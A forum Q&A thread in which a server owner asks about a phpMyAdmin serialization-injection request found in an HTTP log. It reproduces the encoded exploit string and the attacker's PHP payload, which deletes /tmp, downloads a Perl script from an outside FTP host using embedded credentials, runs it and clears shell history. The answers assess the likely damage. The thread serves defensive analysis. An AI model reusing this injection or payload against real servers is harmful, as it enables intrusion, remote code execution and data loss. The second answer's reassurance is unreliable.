Suspicious http access log.

Question

Please help me! I realized that the following is logged in my http log file.

action=lay_navigation&eoltype=unix&token=a13369792c1a33ec1130500ca821c5a4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A47%3A%22ftp%3A%2F%2Fhawk1156%3ATuNPKPK123%40hawkish.co.uk%2Fieh.ico%22%3B%7D%7D

When I decode it, it becomes

action=lay_navigation&eoltype=unix&token=a13369792c1a33ec1130500ca821c5a4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:47:"ftp://hawk1156:TuNPKPK123@hawkish.co.uk/ieh.ico";}}

I got worried about the suspicious ftp link, and I decided to download it.

wget ftp://hawk1156:TuNPKPK123@hawkish.co.uk/ieh.ico

The content of the file was like this:

<? system("cd /tmp;rm -rf *;wget ftp://hawk1156:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;curl -O hawk1156://ftp:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;fetch hawk1156://ftp:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;rm -rf 2.txt;history -c;");exit?>

Of course, I did never execute it by myself, but I am not sure if my server has already been hacked at this point. What should I do? I don't know where to start.

Answer 1

Nothing bad so far, but there is no way to know yet.

Looking at the suspicious system comment, the command it tries to get you to run appears to delete everything in /tmp, but nowhere else. Moreover, the site in suspicion has been taken down by the hosting provider, so now there should be little to worry about. Do note that MySQL connections over sockets and services will fail until the next reboot due to the deletion of files from /tmp but no data should have been lost(except your bash history).

I'd just informally tell a PHPMyAdmin developer, so if it is not a security flaw that can be misused, a bug deal isn't really made over it.

Bolded are the interesting bits of commands in the large injected code:

<? system("cd /tmp;rm -rf * ... history -c;");exit?>

Also looking through, there is a file, ftp://hawk1156:TuNPKPK123@hawkish.co.uk/2.txt that may have done something bad, but since I don't know what was in the file, and the hosting provider has taken the account down, there is no way to know what it does unless you manage to ext4undelete it to try to get a tally of the damage. *It may have done something bad.* If you do indeed unearth the file with an undelete utility, post it here and I'll gladly look at it.

Edit: Thanks to January's comment, which I haven't noticed, the most this attack appears to have done is to create an IRC bot. If there is still perl executing, and you do not have any critical services that run on PERL, then run:

sudo killall perl

or reboot.

Answer 2

Yes, someone is attempting to do a PMA (PhpMyAdmin) exploit onto your system as long as your server return a 200 on that request you should be fine.